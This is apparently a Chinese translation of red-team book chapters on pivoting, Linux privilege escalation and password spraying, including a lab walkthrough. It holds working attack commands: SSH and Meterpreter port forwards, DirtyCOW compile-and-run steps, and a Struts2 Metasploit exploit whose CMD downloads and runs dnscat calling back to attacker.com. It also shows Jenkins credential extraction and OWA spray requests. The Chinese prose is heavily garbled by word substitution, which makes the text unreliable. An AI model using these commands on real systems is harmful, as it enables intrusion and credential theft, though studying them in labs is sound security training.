应用 VPS 在内网进行 RDP 横向移动在咫尺寰宇,有了大批的新一代杀毒软件,在策动机之间横向运行 WMI/PowerShell Remoting/PSExec 并不老是最好的采纳。咱们还看到一些组织系统正在纪录扫数发生的 Windows 呐喊领导。为了惩办这一切,咱们有时需要回到基本的横向开通。使用 VPS 劳动器的问题是,它只是一个莫得 GUI 接口的 shell。因此,咱们将成立路由和代理转发来自障碍者主机的流量,通过 VPS,然后再到被攻陷的主机,临了横向移动到下一个受害者。红运的是,咱们可以使用大部分腹地器具完成任务。
最先,咱们需要接济一个 VPS 劳动器,启用怒放到公网的多个端口,用 PTF 成立 Metasploit,并用 Meterpreter 攻陷领先的受害者。咱们也可以用 Cobalt Strike 或其他框架来斥逐这一丝,但在本例中咱们将使用 Meterpreter。
咱们可以应用默许的 SSH 客户机,使用腹地端口转发(-L)。在这个场景中,我使用的是 Mac,但这也可以在 Windows 或 Linux 系统上完成。咱们将使用 SSH 密钥通过 SSH 结合到咱们的 VPS。咱们还将在障碍者机器上成立腹地端口,在本例中是3389(RDP),以将任何发送到该端口的流量转发到咱们的 VPS。当该端口上的流量转发到咱们的 VPS 时,它会将该流量发送到 VPS 上 3389 端口上的腹田主机。临了,咱们需要在 3389 端口上接济一个监听咱们的 VPS 的端口,并使用 Meterpreter 的端口转发功能通过被攻陷的受害机器接济一个端口转发,以能结合到受害者的系统。
用 Meterpreter payload 障碍受害者 在咱们的机器上开启 SSH,并在咱们的障碍者系统上接济腹地端口转发(腹地监听端口3389),以将针对该端口的扫数流量发送到 3389 上的 VPS 腹田主机端口。 ssh -i key.pem ubuntu@[VPS IP] -L 127.0.0.1:3389:127.0.0.1:3389 在 Meterpreter 会话上接济一个前置端口以监听端口3389上的 VPS,并通过被攻陷的机器将该流量发送到下一个要横向移动到的劳动器。 portfwd add -l 3389 -p 3389 -r [Victim via RDP IP Address] 在咱们的障碍者机器上,打开咱们的 Microsoft 长途桌面客户端,将你的结合接济为你我方的腹田主机 -127.0.0.1,然后输入受害者的凭证以通过 RDP 进行结合。 在 Linux 中横向移动在 Linux 中的操作多年来变化不大。日常,如果你使用的是 dnscat2 或 Meterpreter,它们齐救助我方的转发。
dnscat2: listen 127.0.0.1:9999 <target_IP>:22 Metasploit post/windows/manage/autoroute Metasploit Socks Proxy + Proxychains use auxiliary/server/socks4a Meterpreter: portfwd add –l 3389 –p 3389 –r <target_IP>如果你红运地得回了一个 SSH shell,那么咱们可以通过该系统进行渗入。咱们如何得回 SSH shell 呢?在许厚情况下,一朝咱们可以斥逐腹地文献包含(LFI)或长途代码践诺(RCE),咱们可以尝试权限升级以读取 /etc/shadow 文献(和密码破解),或者咱们可以应用一些 Mimimikatz 作风的方法。
与 Windows 和 Mimikatz 一样,Linux 系统也有同样的问题,密码以明体裁式存储。@huntergregal 编写的器具可以转储特定程度,这些程度很可能以明体裁式包含用户的密码。尽管迄今为止,这只适用于有限版块的 Linux 系统,但这个同样的倡导可以在通盘系统中使用。你可以在这里准确地看到哪些系统以及从何处获取密码:
https://github.com/huntergregal/mimipenguin一朝咱们在被入侵的主机上得回了凭证,况兼可以通过 SSH 反弹 shell,咱们就可以通过这个纯正传输流量,并在机器之间进行数据荫藏。在 SSH 中,有一些很好的秉性可以让咱们践诺这个操作过程:
接济动态 Sock Proxy 以使用 proxychains 通过主机荫藏咱们的扫数流量: ssh -D 127.0.0.1:8888 -p 22 @ <Target_IP> 单个端口的基本端口转发: ssh @<Target_IP> -L 127.0.0.1:55555:<Target_to_Pivot_to>:80 通过 SSH 的 VPN。这是一个相称棒的秉性,使得可以通过 SSH 纯正隐敝传输第3层蚁集流量。 https://artkond.com/2017/03/23/pivoting-guide/#vpn-over-ssh Linux 提权Linux 权限耕作在很大程度上与 Windows 雷同。咱们寻找可以写入的易受障碍的劳动、那些毒手的诞妄成立、平面文献中的密码、扫数的可写文献、运筹帷幄任务,天然还有修补问题。
在有用和高效地分析 Linux 系统中的权限耕作问题方面,咱们可以使用一些器具来为咱们完成扫数的责任。
在咱们进行任何类型的权限耕作障碍之前,我最先要在 Linux 主机上进行一个讲究的信息采集责任,并识别所关系于系统的信息。这包括用户、劳动、定时任务、软件版块、弱信任对象、诞妄成立的文献权限,以至是 Docker 信息。咱们可以使用一个名为 LinEnum 的器具来为咱们完成扫数的累活( https://github.com/rebootuser/linenum )。
这是一个相称长的呈报,内容是你可能想要了解的对于底层系统的扫数信息,这对于将来的行为来说詈骂常好的。
一朝咱们得回了对于系统的信息,咱们就会试图望望咱们是否能够应用这些疏忽中的任何一个。如果咱们找不到任何可用的疏忽或劳动、运筹帷幄任务中的诞妄成立,咱们将径直在系统或应用步调上进行障碍。我试着临了作念这些,因为老是有一个潜在的可能性可以径直使系统挂掉。
咱们可以运行一个名为 linux-exploit-suggester 的器具来分析主机系统并识别缺失的补丁和疏忽。一朝识别露马脚,该器具还将向你提供可用 PoC 疏忽的连气儿。
现在,咱们要应用什么呢?这即是教导和实践确凿阐述作用的地点。在我的实验中,我将成立大批不同的 Linux 版块,以验证这些疏忽障碍不会使底层系统崩溃。在这个场景中,我最心爱的一个疏忽是 DirtyCOW。
DirtyCOW 的责任旨趣是“在Linux内核的内存子系统处理写造访时只读独到映射 COW 情况中断的方式中发现了竞争条件。非特权腹地用户可以使用此劣势获取对其他只读内存映射的写造访权限,从而加多他们在系统上的权限。”[https://dirtycow.ninja/]
简而言之,此疏忽允许障碍者通过内核疏忽从非特权用户转到 root 权限。这是咱们能预见的的最好权限耕作的方法!但有一个问题是它会导致一些内核崩溃,是以咱们必须确保在正确的 Linux 内核上使用正确的版块。
在 Ubuntu 上测试 DirtyCOW (ubuntu 14.04.1 LTS 3.13.0-32-generic x86_64):
下载 DirtyCOW payload wget -O dirtycow-mem.c 编译 DirtyCOW payload gcc -Wall -o dirtycow-mem dirtycow-mem.c -ldl -lpthread 运行 DirtyCOW 以造访系统 ./dirtycow-mem 关闭如期写回以使疏忽结实 echo 0 > /proc/sys/vm/dirty_writeback_centisecs Try reading the shadow file cat /etc/shadow Linux 横向移动实验横向移动的问题是,莫得一个接济启航点渐渐深入的环境很难老到。因此,咱们向你先容了 CSK 蚁集安全实验。在这个实验中,你将在不同的设备之间进行切换,使用最近的疏忽障碍和权限耕作障碍,并应用 Linux 环境中自身存在的应用步调进行障碍。
接济臆造环境
这个臆造实验环境的接济有些复杂。这是因为蚁集需要三个不同的静态臆造机才能运行,况兼你需要事前进行一些接济。扫数这些齐在 VMware Workstation 和 VMware Fusion 中进行了测试,因此如果你使用的是 VirtualBox,那么你可能需要对它进行适当的调养。
下载三台臆造机:
?type=csk-lab 天然你不需要这些系统的 root 帐户,但 hacker/changeme 是用户名/密码,尽量不要调动。扫数三台臆造机齐成立为使用 NAT 蚁集接口。要使该实验环境正常责任,你必须在 VMware 中成立臆造机的 NAT 接济,才能使用172.16.250.0/24蚁集。要在 Windows VMware Workstation 中践诺此操作,请践诺以下操作:
在开首菜单,挨次点击 剪辑 -> 臆造蚁集剪辑器 -> 调动接济 采纳需要接济 NAT 类型的界面(我这里接济的是 VMnet8) 修改子网 IP 为 172.16.250.0 ,并点击 应用在 OSX 中,操作更复杂。你需要:
复制原始的 dhcpd.conf 作为备份 sudo cp /Library/Preferences/VMware\ Fusion/vmnet8/dhcpd.conf/Library/Preferences/VMware\ Fusion/vmnet8/dhcpd.conf.bakup 剪辑 dhcpd.conf 文献以使用172.16.250.x 而不是192.168.x.x sudo vi /Library/Preferences/VMware\ Fusion/vmnet8/dhcpd.conf 剪辑 nat.conf 以使用正确的网关 sudo vi /Library/Preferences/VMware\ Fusion/vmnet8/nat.conf #NAT gateway address ip = 172.16.250.2 netmask = 255.255.255.0 从头启动劳动: sudo /Applications/VMware\ Fusion.app/Contents/Library/services/services.sh --stop sudo /Applications/VMware\ Fusion.app/Contents/Library/services/services.sh --start现在,你应该能够在 NAT 模式下启动 THP Kali VM,并在172.16.250.0/24范围内得回一个 DHCP 分配的 IP。如果你这样作念了,就同期启动扫数其他三个实验臆造机,然后开首黑客障碍吧。
障碍 CSK 安全蚁集临了,你还是从 Windows 环境转到了安全坐蓐环境蚁集中。从你扫数的窥探和研究中,你知说念扫数的微妙齐存储在这里。这是他们保护最严实的蚁集之一,咱们知说念他们还是分步部署了他们的安全基础设施。从他们的文档来看,似乎有多个 VLAN 需要进行入侵,而且你似乎需要在各个系统之间切换才能造访中枢数据库。这即是你发起这次障碍的目的......
以安全蚁集区域的外部为中心,可以看到为此环境成立的蚁集范围位于172.16.250.0/24蚁集中。由于你对这个蚁集不太了解,你可以先进行一些相称毛糙的 nmap 扫描。你需要细目哪些系统可以从蚁集外部造访,以细目如何启动障碍。
扫描蚁集:
nmap 172.16.50.0/24你扎眼到有三个设备正在运行,但唯惟一个设备启用了 Web 端口。看起来其他两个设备与安全蚁集之外是阻止的,这意味着咱们必须最先入侵172.16.250.10设备才能转到其他两个劳动器。造访第一个系统(172.16.250.10),你会看到 Apache Tomcat 正在监听端口8080,而一些 OpenCMS 在端口80上。运行 web fuzzer 时,你会扎眼到 OpenCMS 页面也在运行 Apache Struts2(或者是 struts2 showcase)。你的脑海立马预见了Equifax 数据露出事件中黑客的障碍手法。你哀感顽艳,太好了,但你照旧要检查一下。在 msfconsole 上运行一个快速搜索并测试疏忽 struts2_content_type_ognl。
咱们知说念,CSK 会严格监控受保护的蚁集流量,其里面劳动器可能不允许径直造访公司蚁集。为了惩办这个问题,咱们必须使用咱们的 DNS C2 payload 和 dnscat2 来通过 UDP 而不是 TCP 进行通讯。天然,在真实操作中,咱们可能会使用巨擘的 DNS 劳动器,但仅针对腹地测试的话,咱们将成立我方的 DNS 劳动器。
[本书的 Kali 机器]
本书的定制 Kali 臆造机应该领有践诺障碍的扫数器具。
咱们需要在 Web 劳动器上放上咱们的 payload,这样咱们就可以让咱们的 metasploit payload 抓取 dnscat 坏心软件。在 dnscat2 客户机文献夹中是 dnscat 二进制文献。 cd /opt/dnscat2/client/ python -m SimpleHTTPServer 80 启动 dnscat 劳动器 cd /opt/dnscat2/server/ ruby ./dnscat2.rb 为 dnscat 纪录你的密钥 打开新终局并加载 Metasploit msfconsole 搜索 struts2并加载 struts2疏忽 search struts2 use exploit/multi/http/struts2_content_type_ognl 成立 struts2疏忽以获取咱们的 dnscat payload 并在受害者劳动器上践诺。确保在前边更新你的 IP 和密钥。 set RHOST 172.16.250.10 set RPORT 80 set TARGETURI struts2-showcase/showcase.action set PAYLOAD cmd/unix/generic set CMD wget http://<your_ip>/dnscat -O /tmp/dnscat && chmod+x /tmp/dnscat && /tmp/dnscat --dns server=attacker.com,port=53 --secret= run 一朝 payload 践诺,你将不会在 Metasploit 中得到任何证据,因为咱们使用了 dnscat 的 payload。你需要检查你的 dnscat 劳动器是否有任何使用 DNS 流量的结合。 回到 dnscat2劳动器上,检查新践诺的 payload 并创建一个 shell 终局。 与第一个 payload 进行交互 window -i 1 生成 shell 程度 shell 用键盘按钮复返主菜单 ctrl + z 与新 shell 进行交互 window -i 2 键入 shell 呐喊 ls你还是入侵了 OpenCMS/Apache Struts 劳动器!现在要作念什么?你需要花一些时辰检查劳动器并寻找兴趣的信息。你想起来劳动器正在运行 OpenCMS Web 应用步调,并细目该应用步调是在 /opt/tomcat/webapps/kittens 下成立的。在观望 OpenCMS 属性的成立文献时,咱们发现数据库、用户名、密码和 IP 地址为 172.16.250.10。
检索数据库信息:
cat /opt/tomcat/webapps/kittens/WEB-INF/config/opencms.properties咱们成功结合到数据库了,但看不到太多信息。这是因为咱们咫尺是一个有限的 Tomcat 用户,这确乎阻碍了咱们的障碍。因此,咱们需要找到一种提权的方法。在劳动器上运行 post exploitation reconnaissance(uname -a && lsb_release -a),你可以识别出这是一个相称旧的 Ubuntu 版块。红运的是,此劳动器容易受到权限耕作疏忽 DirtyCOW 的障碍。让咱们创建一个 DirtyCOW 二进制文献并转到根目次!
Escalation 耕作 dnscat 权限:
下载并编译目次: cd /tmp wget -O dirtycow-mem.c gcc -Wall -o dirtycow-mem dirtycow-mem.c -ldl -lpthread ./dirtycow-mem 尝试保持 DirtyCOW 疏忽应用的结实性,并允许内核崩溃时从头启动。 echo 0 > /proc/sys/vm/dirty_writeback_centisecs echo 1 > /proc/sys/kernel/panic && echo 1 > /proc/sys/kernel/panic_on_oops && echo 1 > /proc/sys/kernel/panic_on_unrecovered_nmi && echo 1 > /proc/sys/kernel/panic_on_io_nmi && echo 1 > /proc/sys/kernel/panic_on_warn whoami扎眼:DirtyCOW 不是一个相称结实的提权方法。如果你对疏忽应用过程有问题,请观望我的 Github 页面,在这里了解创建 setuid 二进制文献的更结实的过程:
https://raw.githubusercontent.com/cheetz/dirtycow/master/THP-Lab 如果仍然有问题,另一个选项是通过 SSH 登录到驱动劳动器,并以 root 身份践诺 dnscat payload。要登录,请使用凭证 hacker/changeme 登录系统并使用 sudo-su 得回 root 权限。现在,由于主机系统上莫得补丁,你还是成为系统的 root 用户。当你再次开首为明锐信息翻阅系统文献时,你会看到 root 的 bash 历史文献。在这个文献中,你可以找到 SSH 呐喊和独到 SSH 密钥来源。咱们可以使用此 SSH 密钥并登录到第二个系统172.16.250.30:
cat ~/.bash_history head ~/.ssh/id_rsa ssh -i ~/.ssh/id_rsa root@172.16.250.30你花了一些时辰在第二个系统上,试着清醒它的用途。在四处搜索时,你扎眼到在 /home 目次中有一个 Jenkins 用户,它疏通你识别在端口8080上运行的 Jenkins 劳动。咱们如何使用浏览器观望 Jenkins 劳动器上的内容?这即是 dnscat 的端口转发功能阐述作用的地点。咱们需要退出领先的shell,去呐喊终局。从那里,咱们需要接济一个监听器,通过 dnscat 将咱们的流量从障碍者机器转发到端口8080上的 Jenkins Box(172.16.250.30)。
践诺 dnscat 端口转发:
退出现存的 shell Ctrl + z 复返咱们的第一个呐喊代理并接济一个监听器/端口转发: window -i 1 listen 127.0.0.1:8080 172.16.250.30:8080 在你的 Kali 臆造机上,使用咱们的端口转发代理打开浏览器并打开底下的地址(这将比 dns 慢一些): :8080/jenkins在 Jenkins 应用步调内的凭证管制器里面,咱们将看到 db_backup 用户密码已存储,但不可见。 咱们需要弄真切如何从 Jenkins 中获取此凭证,以便咱们可以络续横向移动。
n00py 对 Jenkins 中存储的凭证以及如何索要它们作念了一些很好的研究( )。 咱们可以使用现存的 shell 来应用此障碍并获取 credentials.xml,master.key 和 hudson.util.Secret 文献。
复返 dnscat 中的主菜单并与原始 shell 进行交互 Ctrl + z window -i 2 转到 Jenkins 的主目次并获取三个文献:credentials.xml,master.key 和 hudson.util.Secret。 cd /home/Jenkins 咱们可以尝试关闭这些文献,或者咱们可以将这些文献作为基础并通过当前的 shell 复制它们。 base64 credentials.xml base64 secrets/hudson.util.Secret base64 secrets/master.key 咱们可以将 base64输出复制回咱们的 Kali 系统并解码它们以破解 db_backup 用户的密码。 cd /opt/jenkins-decrypt echo “” | base64 —decode > hudson.util.Secret echo “” | base64 —decode > master.key echo “” | base64 —decode > credentials.xml 使用 https://github.com/cheetz/jenkins-decrypt 解密密码 python3 ./decrypt.py master.key hudson.util.Secret credentials.xml咱们能够成功解密 db_backup 用户的密码 )uDvra{4UL^;r?*h。如果咱们回顾一下之前的谛视,咱们会在 OpenCMS 属性文献中看到数据库劳动器位于 172.16.250.50。看起来这个 Jenkins 劳动器出于某种原因会对数据库劳动器践诺某种备份。让咱们检查一下咱们是否可以获取 db_backup 的凭证:应用 )uDvra{4UL^;r?*h 通过 SSH 登录数据库劳动器。唯一的问题是通过咱们的 dnscat shell,咱们莫得径直按圭臬输入(STDIN)来与 SSH 的密码领导进行交互。 因此,咱们将不得不再次使用咱们的端口将咱们的 SSH shell 从 Kali 臆造机通过 dnscat 代理传递到数据库劳动器(172.16.250.50)。
回到呐喊 shell Ctrl + z window -i 1 创建一个新的端口转发,从 localhost 转到172.16.250.50的数据库劳动器 listen 127.0.0.1:2222 172.16.250.50:22一朝使用 db_backup 帐户进入数据库劳动器(172.16.250.50),咱们会扎眼到此帐户是 sudoers 文献的一部分,况兼可以 sudo su 到 root。 一朝 root 在数据库劳动器上,咱们将四处寻找也找不到任何造访数据库的凭证。咱们可以重置 root 数据库密码,但最终可能会破碎其他一些应用步调。相背,咱们搜索位于/var/lib/mysql 下的不同数据库,并发现 cyberspacekittens 数据库。在这里,咱们找到 secrets.ibd 文献,其中包含 secrets 表的扫数数据。在咱们阅读数据时,咱们意志到它可能是加密的...由你来践诺剩下的操作...
恭喜!!!你已成功入侵 Cyber Space Kittens 蚁集!
不要停步于此...你可以用这些系统作念许多事情;咱们现在只触及了名义。纵容在被入侵的系统上翻阅,找到更明锐的文献,找出其他权限升级的方法,等等。作为参考,在本实验中,环境拓扑如下所示:
本章总结在本章中,咱们经历了入侵蚁集的一系列操作。 咱们开首在外部蚁集上莫得任何凭证或应用社会工程的方式入侵到咱们的第一个受害者系统。从那里开首,咱们能够应用主义系统自身的应用步调,获取关系蚁集和主机系统的信息,横向移动,权限耕作,并最终攻陷通盘蚁集。这一切齐是建立在最少程度的扫描,应用蚁集秉性,并试图逃匿扫数检测机制之上完成的。
第4章 带球——开首障碍蚁集译者:@Snowming
校对者:@鶇、@leitbogioro、@哈姆太郎、@匿名jack
在进行风险评估样子的第二天,你使用 nmap 扫描了主义的全部网段,还启动了疏忽扫描器,但运说念不太好,你莫得探伤出任何 Web 应用步调的驱动进口点。这让你感到有些失败,需要反念念一下,从头回顾一下之前采集到的扫数信息。因为你知说念,一朝可以进入主义蚁集,就可以使用无数的技巧来得回更多的凭证、在域中漫游、应用 AD(行为目次)的秉性,临了找到咱们要找的东西。天然,这不是一件容易的事。因为你要绕过宽阔防火墙,还要诳骗管制员,临了还要擦除我方的陈迹。
在上一册书中,本部分难得于使用疏忽扫描器来发现疏忽并应用它们。这是通过使用诸如 Metasploit、打印机疏忽、腹黑滴血、Shellshock、SQL 注入等常见疏忽的应用器具来斥逐的。最近一段时辰,爆出了许多严重的长途代码践诺疏忽,比如 不灭之蓝(MS017-10)、多个版块的 Jenkins 疏忽、Apache Struts 2、CMS 应用的代码践诺疏忽等等。因为本书是以红队的视角来发扬的,因此咱们不会过多地关注如何使用这些器具来障碍应用特定的疏忽。相背,咱们将关注如何应用公司现存的应用步调,马上取材来发现疏忽,然后攻破公司蚁集。
在本章中,将聚拢谋划红队的战术,如何应用公司基础设施、获取身份凭证、探索里面蚁集以及在主机和蚁集之间进行漫游。咱们将在不运行任何一个疏忽扫描器的前提下完成这项责任。
从外网寻找侵入对方系统的登陆凭证作为一个红队成员,找到领先的障碍点可能很费事,需要阔绰大批的资源。在上本书中,咱们尝试过伪造受害者的身份验证页面、购买相称相似的域名来对主义实施垂纶,以及编写自界说的坏心软件等不同的方法。
有时候,我告诉我的红队队员要保持毛糙的念念想。许多时候,那些令东说念主赞美的高等妙技,反而不如一些毛糙初级的方法管用,最毛糙的方法往往是最有用的。
最基本的时期之一即是暴力破解密码。然则,作为红队的一员,咱们必须商量如何秘籍地作念到这一丝。随着公司的发展,公司使用了更多的应用步和谐时期器具。对于障碍者来说,这无疑为他们拓宽了进犯的大门。当公司开首透露在互联网上时,咱们看到公司需要对电子邮件(如 Office 365或 OWA)、通讯器具(如 Lync、XMPP、WebEx)、协调器具(如 JIRA、Slack、Hipchat、Huddle)和其他外部劳动(如 Jenkins、CMS 站点、救助站点)进行身份验证。这些即是咱们的主义突破口。
咱们试图障碍这些劳动器和劳动的原因是,咱们需要寻找能对受害者的 LDAP 或 AD 这些基础设施进行身份验证的器具。这可以通过 ADFS 方式、单点登录(SSO)方式或者径直使用 AD 域认证等不同的方式来完成。咱们需要找到一些可以应用的群众凭证,以便络续进行下一步的障碍。在信息采集阶段,咱们发现并识别了大批的电子邮箱地址和用户名帐号,咱们将对这些获取到的信息进行一种叫“密码喷洒”(Password Spraying)的障碍。咱们将针对扫数不同的应用步调,尝试猜测基本密码,正如咱们在现实寰宇的 APT 行为中看到的那样( US-CERT 著述: )。
译者注:“密码喷洒障碍”(Password Spray Attack)并不等同于“密码爆破障碍”(Brute Force Attack)。事实上,这两种障碍是相背的。在密码爆破障碍中,黑客采纳一个易受障碍的 ID 并一个接一个地输入密码,但愿有一些密码可以让他们进入。基本上,密码爆破是用多个密码尝试破解并吞个 ID。而密码喷洒障碍,是用一个密码来尝试多个用户 ID,以便至少有一个用户 ID 被露出。对于密码喷洒障碍,黑客使用应酬工程或其他蚁集垂纶方法采集多个用户 ID。日常情况下,至少有一个用户使用毛糙的密码,如12345678以至是 p@ssw0rd。在密码喷洒障碍中,黑客会为他或她采集的扫数用户 ID 应用全心构造的密码。因此,密码喷洒障碍可以界说为将同样的密码应用于组织中的多个用户帐户,目的是安全的对其中一个帐户进行未授权造访。暴力破解的问题在于,在使用不同密码进行一定次数的尝试后,系统可能会被锁定。为了幸免这种情况,产生了采集用户 ID 并将可能的密码应用于它们的想法。使用密码喷洒障碍时,黑客也会采取一些细心措施。举例,如果他们尝试将 password1应用于扫数用户帐户,则在完成第一轮后,他们不会立即开首将 password2应用于这些帐户。他们将在黑客障碍中留出至少30分钟的时辰。参考贵府:Password Spray Attack Definition and Defending yourself
那么,为什么要针对不同的外部劳动进行身份验证呢?这是因为:
有些身份验证步调不会纪录从外部劳动尝查考据的次数。 天然咱们日常看到电子邮件或 VPN 系统要求双身分验证(2FA),但面向外部的即时通讯系统可能不需要。 密码重用的可能性相称高。 有的时候,当使用 AD 账户屡次重迭登录失败时,外部系统并不会将此账户锁定。有许多器具可以斥逐密码喷洒障碍,然则,咱们只关注其中的几个。第一个是来自 Spiderlabs 的名为 Spray 的器具。尽管 Spray 使用起来有点复杂,但我相称心爱它所救助的一些劳动。举例,它救助 SMB、OWA 和 Lync(Microsoft Chat)。
要使用 Spray,你需要指定以下几个参数:
正如你将鄙人面的示例中看到的那样,咱们使用 Spray 对 cyberspacekittens 上的一个 OWA 邮件劳动器(该劳动器现在还是下线了)进行密码破解,当它使用密码 Spring2018与用户名 peter 尝试进行配对时,成功的登进了系统。
我通常遭遇的一个问题是,应该使用哪个密码进行尝试?因为在锁定帐号之前,只可不休的屡次尝试密码。事实上这个问题莫得正确谜底,使用哪个密码相称依赖于这家公司的密码接济轨则。咱们昔时可以使用一些毛糙密码进行尝试,比如“Password123”,因为总有一些东说念主会因为图浅显而使用毛糙密码。但随着东说念主们安全意志的提高,现在现在越来越少东说念主使用这种密码了,因而成功率也就变低了。现在的话,咱们一般结合使用以下规则的一条到多条来构建咱们的尝试密码:
月份和年份的数字组合。 当地的球队和球员的数字编号组合。 观望一些以前泄浮现来的数据,找一些有莫得主义公司的用户贵府露出,因为同样公司的用户可能会使用雷同的密码。 公司称号+年份/编号/特殊的字符 (如!,$,#,@)编好了密码之后,咱们就可以24小时不圮绝平缓地运行咱们的账号破解步调,慢是为了幸免触发任何帐号锁定。请记着,咱们只是匹配成功一个账号就可以进入大门了!
此图是使用 Curl 对 OWA 进行身份认证的快速剧本
成立 Spray 相称毛糙,而且其成立文献可以很容易地给其他雷同步调参考使用。你需要作念的是拿获登录密码时的 POST 苦求(可以在 Burp Suite 中完成),复制扫数苦求数据,并将其保存到文献中。对于任何将要被破解的字段,你需要提供字符串“sprayuser”和“spraypassword”。
举例,在咱们的例子中,post-request.txt 文献如下所示:
POST /owa/auth.owa HTTP/1.1 Host: mail.cyberspacekittens.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://mail.cyberspacekittens.com/owa/auth/logon.aspx?replaceCurrent=1&url=https://mail.cyberspacekittens.com/owa/ Cookie: ClientId=VCSJKT0FKWJDYJZIXQ; PrivateComputer=true; PBack=0 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 131 destination=https://cyberspacekittens.com/owa/&flags=4&forcedownlevel=0
译者注:临了一个 destination 字段的内容本书的英文版块貌似骄贵不全,至少是我拿到的英文版块 PDF 骄贵不全。我只是毛糙的复制自 PDF,读者扎眼一下。
如前所述,spray.sh 的另一个公正是它还救助 SMB 和 Lync。另一种具备这个秉性的器具称为 Ruler,这个器具还可以对密码喷洒障碍得到的结果进行进一步处理。Ruler 是 Sensepost 安全团队编写的一个器具,它允许你通过 MAPI/HTTP 或 RPC/HTTP 条约与 Exchange 劳动器交互。天然咱们主要谋划使用 Ruler 来进行密码破解/信息采集,然则这个器具也救助一些耐久性疏忽应用障碍,咱们将略微说起这点。
咱们可以用的 Ruler 的第一个功能雷同于 Spray,它通过对用户名和密码进行匹配来进行账号的破解。Ruler 将载入用户名列表和密码,并尝试查找登陆凭证。它将自动寻找 Exchange 劳动器的错误成立并尝试查找登陆凭证。
运行 Ruler:
一朝咱们找到了一个密码,咱们就可以使用 Ruler 来获取 Office 365的全局地址列表(GAL)中的扫数用户,以查找更多的电子邮件地址及其所属的电子邮件组。
咱们络续将获取的这些电子邮件地址通过上头说起的那些密码破解器具来进行破解的尝试,从而得回更多的身份凭证——这就和滚雪球一样。不外,Ruler 的主要用途是,一朝你有了身份凭证,你就可以应用 Office/Outlook 的一些功能来在受害者的电子邮件帐户上创建规则和表单。这里有一篇来自 SensePost 安全团队的著述 outlook-forms-shells,先容了他们是怎样应用这些功能来践诺包含 Empire payload 的宏文献的。
如果你决定不使用 Outlook 表单,或者该功能还是被禁用,咱们的念念路还可以回到对电子邮件的障碍。这可能会让你感到有点急躁,因为你将使用这些普通用户的账号登录并阅读他们的扫数电子邮件。当咱们爽快的阅读某个用户的电子邮件时,咱们会想要和某个他似乎有点信任(但又不算好一又友)的东说念主进行对话。既然还是有了信任的基础,咱们就可以应用这个契机给他发送坏心软件。日常,咱们会批改一次会话,在里面夹带附件(如 Office 文献/可践诺文献),然后从头发给他们,不外这次附件包含了咱们的坏心 payload。在受信任的内网结合和电子邮件之中传递坏心软件,成功掩护了咱们的身份,并使这次行动得回成功。
本书弥远强调的一丝是,通盘障碍行动的目的是为了测试蓝队的挟制检测器具和救急响应进程的效率。咱们行动的主义相称明确,即是不雅察他们是否能够有所警悟。又或者像法医剖解那样,仔细复盘行动中发生的一切。对于本节的实验瞎想,我的想法是验证公司是否能够细目有东说念主正在窃取用户们的电子邮件。是以,咱们要作念的是使用 Python 剧原本获取扫数被破碎的电子邮件。在许厚情况下,这可能是千兆字节的数据!
高等选修实验一个很好的老到是:障碍不同类型的的身份验证劳动并对其进行密码尝试。尝试构建一个密码喷洒(Password Spraying)器具,用于测试针对 XMPP 劳动、常见第三方 SaaS 器具和其他常见条约的身份验证。最好是在多个 VPS 劳动器中践诺此操作,扫数 VPS 劳动器齐由一个主理事器收敛。
通过蚁集移动作为又名红队成员,咱们但愿尽可能安逸地在蚁集中穿梭。咱们但愿使用“特征”来查找和应用关系蚁集、用户、劳动等信息。日常,在红队行为中,咱们不但愿在内网环境中进行任何疏忽扫描关系的行为。有时咱们以至不但愿对里面蚁集运行 nmap 扫描。这是因为许多公司还是相称擅长检测这些类型的扫描,特别是在运行疏忽扫描器这样动静很大的东西时。
在本节中,你将聚拢元气心灵在不触发任何检测防护的情况下在 CSK 的蚁集进行横向漫游。咱们假设你还是以某种方式进入里面蚁集并开首寻找你的第一组凭证,或者还是领有了一个用户机器上的 shell。
建立环境——实验蚁集这部分完全是自界说的,但由于微软的授权收敛,这本书里没法给你还是制作好的的基于 Windows 的实验环境部署环境。是以至于如何作念,就得看你的动手才调了!
确凿学会如何障碍主义环境的唯一方法是我方亲手构建一下主义环境。这能使你更真切地了解你正在障碍什么,为什么障碍有时候有用,有时候无效,并了解某些特定器具或进程的局限性。那么你需要建立什么样的实验环境呢?基于客户端的环境,Windows 和 Linux(以至 Mac)可能齐需要一个。如果你正在障碍企业蚁集,你可能需要构建一个完整的 Active Directory 蚁集(域环境)。鄙人面的实验中,咱们将学习如何为本书中的扫数例子构建一个测试环境。
一个瞎想的 Windows 测试实验环境,你可以我方创建,大要是底下这样的:
域收敛器-劳动器:[Windows 2016域收敛器] Web劳动器:[IIS on Windows 2016] 客户端机器:[Windows 10]x3和 [Windows 7]x2 全部运行着 VMWare 的责任站中,责任站的内存至少16GB,SSD 硬盘500GB成立和创建域收敛器:
微软对于构建2016版劳动器的说明: https://blogs.technet.microsoft.com/canitpro/2017/02/22/step-by-step-setting-up-active-directory-in-windows-server-2016/ 短地址: 装配和成立 Active Directory 之后,使用:dsac.exe 创建用户和组 创建多个用户 创建组并分配给用户(底下是分组): Space Helpdesk Lab接济客户端机器(Windows 7/10)加入域:
将扫数机器齐打好系统补丁 将机器结合到域 https://helpdeskgeek.com/how-to/windows-join-domain/ 确保添加一个域用户,该用户能够作为腹地管制员在每个系统上运行。这可以通过将该域用户添加到腹地机器上的腹地 administrators 组来斥逐。 在每个主机上启用腹地管制员并接济密码将 GPO(组策略)接济为:
禁用防火墙 ( https://www.youtube.com/watch?v=vxXLJSbx1SI ) 禁用 AV( ) 禁用系统自动更新 将 Helpdesk 用户组添加到腹地管制员组 仅允许域管制员、腹地管制员、Helpdesk 登录( ) 临了,将 GPO 接济同步到主域将每个操作系统的扫数用户接济为自动登录(这会使得障碍测试愈加容易)。每次机器启动或从头启动时,它齐会自动登录,这样咱们就可以减弱地进行障碍并从内存中索要凭证:
https://support.microsoft.com/en-us/help/324737/how-to-turn-on-automatic-logon-in-windows 短地址:接济 IIS 劳动器并成立 SPN:
